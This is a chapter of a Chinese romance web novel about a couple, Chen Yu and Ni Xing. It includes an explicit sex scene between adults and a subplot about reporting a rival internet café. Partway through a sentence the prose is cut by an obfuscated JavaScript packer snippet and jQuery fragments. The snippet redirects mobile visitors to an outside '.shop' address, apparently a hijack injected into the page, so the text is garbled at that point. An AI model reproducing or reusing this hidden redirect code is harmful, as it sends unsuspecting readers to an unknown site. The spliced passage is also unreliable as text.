其实一开始,陈逾压根没注意后边跟的人是倪婞。
昨天晚上在集训队通宵到夜里十二点,一早上到办公室把项目框架又确认一遍,下午带那俩“到点下班”去市政府做汇报,晚上回来又马不停蹄去星际出气。
铁打的人也抗不住,困的要死。跟李嘉树掰扯了几句,他就想赶紧回去冲个澡睡上一觉。
没想到有人自个做贼心虚,屏息敛声,猫一样想从他背后滑走,结果太紧张,加上楼道太黑,一脚踩了个空。
“有事没事?”
倪婞后背一僵,抬头,陈逾不知道什么时候已经松开门钥匙,走了过来。
“没…没事。”倪婞看着他微蹙的眉头,一边站直身体,一边想:真是邪门,每次干个啥坏事,一准能撞上陈逾。
陈逾一开始没出声,后来鼻腔突然轻出气,不咸不淡的冷哼了一声。
倪婞这才后知后觉,脑袋特夸张的往前探了探,装模做样看了他两眼,才“呀”一声,捂嘴惊呼:“陈逾?”
陈逾:……
就是说演技还能再拙劣一点吗?
想是这么想,嘴上还是很配合的“嗯”了一声。
“你怎么回来了?”倪婞见他没起疑,胆子也就放大了点。
这段时间,集训队加上政府那项目,陈逾有时候忙得晚了,就干脆在学校宿舍凑合一晚上,俩人聊天的时候,陈逾跟她说过一嘴。
“设计草图弄出来,负责人让去一趟。”陈逾简言意赅,一点没提刚才去星际那事。
没提不全是因为李嘉树的交代,或者说,这只是其中一个原因,像李嘉树说的倪婞要强又为这事付出很多努力。
另一个原因是倪婞这些天也一直没跟他提这事,他明白什么意思。
其实从一开始他也是这么打算的。
从隐晦在她面前提起运动会的点子,到借李嘉树的手送吴梦瑶人情,他隐藏功与名,就是想让倪婞通过这事找回一点久违的自信。
但他藏归藏,倪婞一个字不跟他说就是另一回事了。
他气她的沉默,逃避,“舍近求远”。
搞搞清楚,他是她男朋友,是除了她父母之外,跟她最亲近的人。
陈逾决定出出心底这口“恶气”。
“你呢?去哪儿了?这么晚?”他单手插兜站在她跟前,状似不经意的开口。
倪婞眼神躲闪,一会儿挠挠脸,一会摸摸脖子,半天才磕磕巴巴憋出一句:“就,嗯,那什么这不是运动会马上要开始了么,还有很多准备工作要做,就在天翼多待了一会儿。”
……什么叫不打自招,什么叫越描越黑。
刚从天翼回来的陈逾嗤了一声。
刚看她猫着腰狗狗祟祟想跑,他就差不多猜到她刚干什么去了
“哦,网吧。”他扯腔拉调。
倪婞咽咽口水,女人的第六感告诉她,陈逾一定知道了什么。
就在她想要不要干脆跟陈逾坦白,毕竟事差不多已经被她搞定,陈逾突然抬手圈住她的腰把她扯到怀里。
初夏,夜里的风仍然有点凉。
陈逾身上却很热,
脸,脖子,胸膛,腰……贴在一起的所有部位,都很热。
感受到什么,倪婞脸突然红了,但当他发间的香味飘过来,又不自觉伸手也抱住他的腰。
好几天没见了。
说话都是隔着冰冷的手机屏幕。
俩人无声拥抱了一会儿。
倪婞听着陈逾沉沉的呼吸声:“很累吗?”
陈逾鼻腔清浅嗯了一声。
倪婞手盖在他薄薄的肩胛骨上:“回去睡吧。”
陈逾脸埋在她的发间:“再抱一会。”
倪婞有一句没一句跟他闲聊:“还要多久才能结束?”
陈逾声音黏黏糊糊:“一个月。”
倪婞没再说话,反倒长长叹了一口气。
陈逾胸廓跟着她出的这口气也小小起伏了一下,他睁开眼,直起腰:“怎么了?”
倪婞皱着眉头,小小一张脸浸泡在月光里,话说的煞有介事:“年前我从幼儿园辞职,老倪劝我实在不行就在家里的饭店从基层干起,完了让我继承家业,当时我觉得自己不是那块料,就给拒了,早知道不拒了。”
她懊悔嘟囔。
陈逾:……
一开始他以为她还在为星际那事发愁,就思考要不要让李嘉树再把“功名”揽过去,没想到是因为这。
“怎么了?”见他不说话,她问的一本正经。
“女朋友,我这算傍上大款了不?”陈逾看着她,也答的一本正经。
倪婞噗嗤一声,摸着下巴:“算吧,也不算。”
陈逾肩颈放松,似笑非笑看着她:“到底算不算?”
“一半一半吧,我这不是被扫地出门了嘛。”
陈逾舔舔嘴唇笑了出来,又忍不住逗她:“那姐姐可要加把劲了。”
他说着眼睫狡黠一眨,亲亲她的嘴唇,压着嗓子:“弟弟等包养呢。”
自从那天,他喊了声姐姐,她纵容了他,他就像是得了什么趣,摸到什么关窍,时不时喊两声逗逗她。
倪婞涨红着脸:“闭嘴!以后不准再这么喊!”
“为什么?姐姐不喜欢吗?”
俩人闹了一会儿,往楼上走。
陈逾状似不经意开口,问起运动会的事:“还顺利吗?”
倪婞迟疑片刻,而后点头。
陈逾也就没再多问,顺口提起运动会那两天集训队放假,然后项目这边短期不用再去政府汇报,时间就稍比之前空闲一点。
“运动会你要来吗?”
陈逾说来。
倪婞听他这么说,瞬间就有点心潮澎湃。
到运动会那天就是检验成果,换句话说,就是要见真章了。
感受到她的情绪,陈逾拇指蹭了蹭她的手背。
倪婞瞬间鼓起一点勇气,抬头:“陈逾,你觉得我能行吗?”
陈逾低头看着她,他收起往常那副懒散的神态,眼睫半垂,半响,沉声说:“当然,老天舍不得辜负努力又聪明的人。”
倪婞眼眶一热,踮脚吻住了他。这是她第二次主动吻他。
陈逾在经历最初的怔愣之后,就很快反客为主,掐住她的后颈,把她按在门上。
说亲不如说啃,倪婞差点喘不上气。
好在啃了一会儿,就变得慢了下来,因为要一心二用,被揉着,倪婞舒服的直哼哼。
哼了一会儿,就感觉陈逾的手从她衣摆钻了进去。
不知道是不是被风吹的,还是体质问题,他的手有点凉,贴在肌肤上,倪婞一激灵。
陈逾含着她的嘴唇低低笑了一声,带喘含气:“这么敏感,姐姐。”
倪婞被热气扑了一脸,还没来得及反应。
背后那个小扣被轻轻勾住,指尖轻巧往上一挑,啪的一下。
一朝声东击西,被他运用的炉火纯青。
城池失守,倪婞彻底懵了,等她反应过来,陈逾已经俯下身。
倪婞弓着腰,难耐的伸手抓住他的头发。
又很快陈逾揽腰抱起,倪婞双腿离地,不得不夹住他的腰。
陈逾托着她的屁股,边亲边带着她往浴室走。
花洒一开,泊泊热水瞬间倾头浇了下来。
水把陈逾头发浇湿了,抬手随意的往上掬了把头发,露出清晰的眉眼,冷白潮湿的一张脸。
倪婞也被浇的浑身毛孔一缩,抬头看到陈逾被水浇的近乎透明的衬衫,又浑身一哆嗦。
今天去政府汇报,稍正式的场合,陈逾往常休闲的T恤休闲裤变成了版型挺廓的衬衫和规整的西裤。
现下水顺着他修长的脖颈和性感喉结一点点往下绵延,很快就把身上的衬衫打湿,贴在身上,像裹了一层朦胧轻薄的纱,纱之下,是他薄韧的肌肉和窄劲的腰身。
察觉到她的视线,陈逾抓住她的手腕,盖在上面:“喜欢吗?姐姐。”
灼热的体温烫的她一哆嗦。又被陈逾笑着含住嘴唇,舌头肆意的在她口腔里搅弄,银丝勾连,从她唇角蜿蜒而下。
倪婞双腿发软,险些栽倒在地,被陈逾抵住,按到一旁的玻璃上。
含着她的耳垂,搓弄研磨。
倪婞羞耻的咬住嘴唇,唯恐出声。
又被陈逾强势的用手指撬开,粗糙的指腹抵着她柔软的舌尖搅弄蹭动。
倪婞仰着脖颈,面色潮红,眼神迷离,陈逾就看了一眼,眸色发暗,咬着牙根爆了一句粗口,抓住她的手腕,猛的把她掀过身。
倪婞的脸贴在冰冷的玻璃上,未隔间隙,身后是陈逾炙热的身体。
倪婞仰着头,眼角潮红。
撞击声跟水声不断敲击耳膜。
意识变得轻飘,随着腾腾热气好像飘到浴室上空。
她两只眼瞬间都红了,难耐的哭腔终于从口腔溢了出来。
落到陈逾的耳朵里,脖颈上的青筋鼓动的更紧。
大手盖住她按在玻璃上的手指,撬开了,强硬的穿插扣紧。
脸贴住她的后颈,闷闷的喘气:
“哭什么?不舒服吗?姐姐。”
*
资料整理好已经是第二天下午的事,倪婞本来想的是通宵做完的,无奈计划赶不上变化。
倪婞站在镜子前,看着从脖子一路蜿蜒向下的几个草莓印。
扭头看看旁边的“案发现场”,脸红的跟猴屁股似的。
不过一会儿,气血又翻涌上头,
这让她还怎么见人!
她拍了张照片给“罪魁祸首”发过去。
倪倪倪倪倪:【看你干的好事!】
陈逾那会正跟李嘉树俩人靠在机房外头的栏杆上抽烟。
cy:【不舒服吗?姐姐?昨晚上不叫的……】
呀!
倪婞没看完,就红着脸把手机给砸到床上。
她红着脸从衣柜里拿了件风衣出来。
跟吴梦瑶约好了,一会儿见个面,商量一下举报材料投递的事。
腰带缠好,领子立起来才勉强给那印记遮住。
但怎么看怎么别扭,倪婞干脆拿了个口罩戴上,装出一副感冒的样儿。
收拾好,临出门,气不过,才又抱着手机回陈逾消息。
再给蚊子咬,无副作用全家倒赚一百亿:【不舒服】
cy:【啧】
倪婞哼了一声,心说跟我斗。
走到楼下,手机又响了一下,掏出来。
助力百亿梦想:【这么着,你求求我,今晚我就帮你实现梦想。】
倪婞呸了一声,骂了一句不要脸!就把手机给关了。
*
机房,陈逾看着手机屏,勾着眼,笑的胸腔直发颤。
李嘉树眼一翻,摆出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782778|206438||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一副“兄弟你没救”的表情。
陈逾斜了他一眼,好心情的把手机塞兜里。
李嘉树语重心长:“听兄弟一句,别陷太深,历史的教训,恋爱脑一般都没什么好下场。”
陈逾直接一个滚字。
李嘉树痛心疾首捂心脏,俩人又抽了一会儿烟,见老裴来了,正要进去。
李嘉树诶诶两声。
陈逾扭头。
李嘉树指着他手臂上的牙印:“我说你够猛的啊?”
陈逾楞了两秒,这才想起来,这牙印是怎么弄的。
昨天弄到最后,倪婞被他磋磨到哭,哭着求他停,他不停,不知道是真受不住,还是报复,就干脆一口咬上他的手臂。
痛意与即将攀上高峰的欲望交织在一起,现在想想,陈逾眸色又变得晦暗起来。
他长抽了一口烟,才勉强压下去。
李嘉树意味深长的看着他。
陈逾吭了一声,喉结滚了滚,压在眉梢偏开头。
李嘉树不依不饶凑过来:“听哥们一句,这玩意耗精气,你这段时间事这么多,悠着点,小心……”
陈逾给了他一脚。
*
倪婞跟吴梦瑶还约在上次那间咖啡厅,要说正事,俩人这回煞有介事的找了个相对隐蔽的小隔间。
倪婞把电脑推过去。
吴梦瑶越看嘴角越压不住。
“打算怎么弄?投到文旅局?”
倪婞皱眉,其实一开始她是这么想的。但想到老倪很久之前跟她说过的话,她又改了主意
老倪这人做生意有一套,生意越做越红火,难免遭人嫉妒。
就被某家眼热的雇佣水军在网上恶意刷屏。
饭店历经二十年风和雨,口碑全靠口口相传,有固定的一批食客,最后没能掀起什么风浪。
又过了一段时间,倒是这个饭店因为食品问题被人举报,南市市场监督部门里头的领导跟老倪铁瓷,就问老倪要不要趁机出出气。
老倪想想说算了。
这年头,大家做生意看着风光,其实都不容易。再说,兔子急了还咬人呢,生意场上,有谁手是真干净的,老话讲,做事留一线,日后好相见。
天翼跟星际,也有点那意思。
倪婞就决定再给赵龙一个机会,不把这资料发到文旅局,也不发山大的监察邮箱。
“你们部门的内部邮箱怎么样?”
吴梦瑶楞了一下:“确定?费劲吧啦弄的料,再说李老板那边能同意?”
李嘉树嘴上说整人,到底顾念旧日情谊,今儿下午跟她发消息隐晦的提了一嘴。
“就是李老板的意思,没事他要不老实,我再投文旅局。”
吴梦瑶噗嗤一声。
其实还有一层,他们都没点破。
毕竟真话不好听。
吴梦瑶跟她聊一会儿,就走了。
她忙着回部门跟部长上眼药,准备借着举报邮件的东风,把眼睛哥给搞下台。
事情几乎尘埃落定,倪婞心里一松,施安安正好给她发消息,问她在哪儿,她就说她在咖啡店,问她来不来。
施安安说来。
十分钟后,施安安进门,盯着倪婞足足看了一分钟。
倪婞摸脸:“咋了?”
施安安眯眼:“感冒了?”
倪婞装模做样咳了两声。
施安安哦了一声,倪婞问她喝什么。
施安安趁她不注意,一把她衣领子给扯了下来。
倪婞捂已经来不及了。
看着她脖子上的草莓印,施安安直啧啧。
倪婞闹了个大红脸,赶紧把衣领子捂上。
施安安端起她那杯美式小抿了一口,挨着她坐下来:“我说,战况够激烈的啊。”
倪婞一把把杯子从她手里给抢过来。
施安安呛了口气,什么到底是有对象的人,喝口咖啡都不能行,挤兑了她两句。
又忍不住八卦:“话说咱陈学霸,哪方面跟他优越的学习能力比怎么样?”
倪婞噗嗤一声,咖啡差点喷出来。
她虽然有过一次恋爱经验,但就到亲嘴为止,跟施安安聊的也没这么深入。
“不是,我们没那个。”她弱弱解释。
施安安:“鬼信啊。”
倪婞:……
“爱信不信!”
“不是”施安安看着她涨红的脸蛋,怀疑人生:“算算你跟陈逾这恋爱……也谈了快小一个月了吧,还没做……”
倪婞吭了一声。
施安安换了个稍文明点的词:“那个?这不科学啊?不会是他不行吧?”
倪婞:“…………”
不行?她真想说要不你去试试。
俩人又聊了一会儿,实验,秃头导师,老倪郑芸,有的没的。
一下午过去。
倪婞终于憋不住了,抿嘴试探:“安安,那什么,疼吗?”
“?”
“就第一次。”她吭吭唧唧。
施安安噗呲一声,又皱着眉头回忆:“一开始是有点。”
然后她眼珠一转,凑到倪婞耳边,说了一句。
倪婞脸就红透了。
走的时候,施安安拍拍她的肩:“什么社会了,姐妹就一句话,做好安全措施,这种事,早干早享受。”
倪婞:……
这是能说的吗?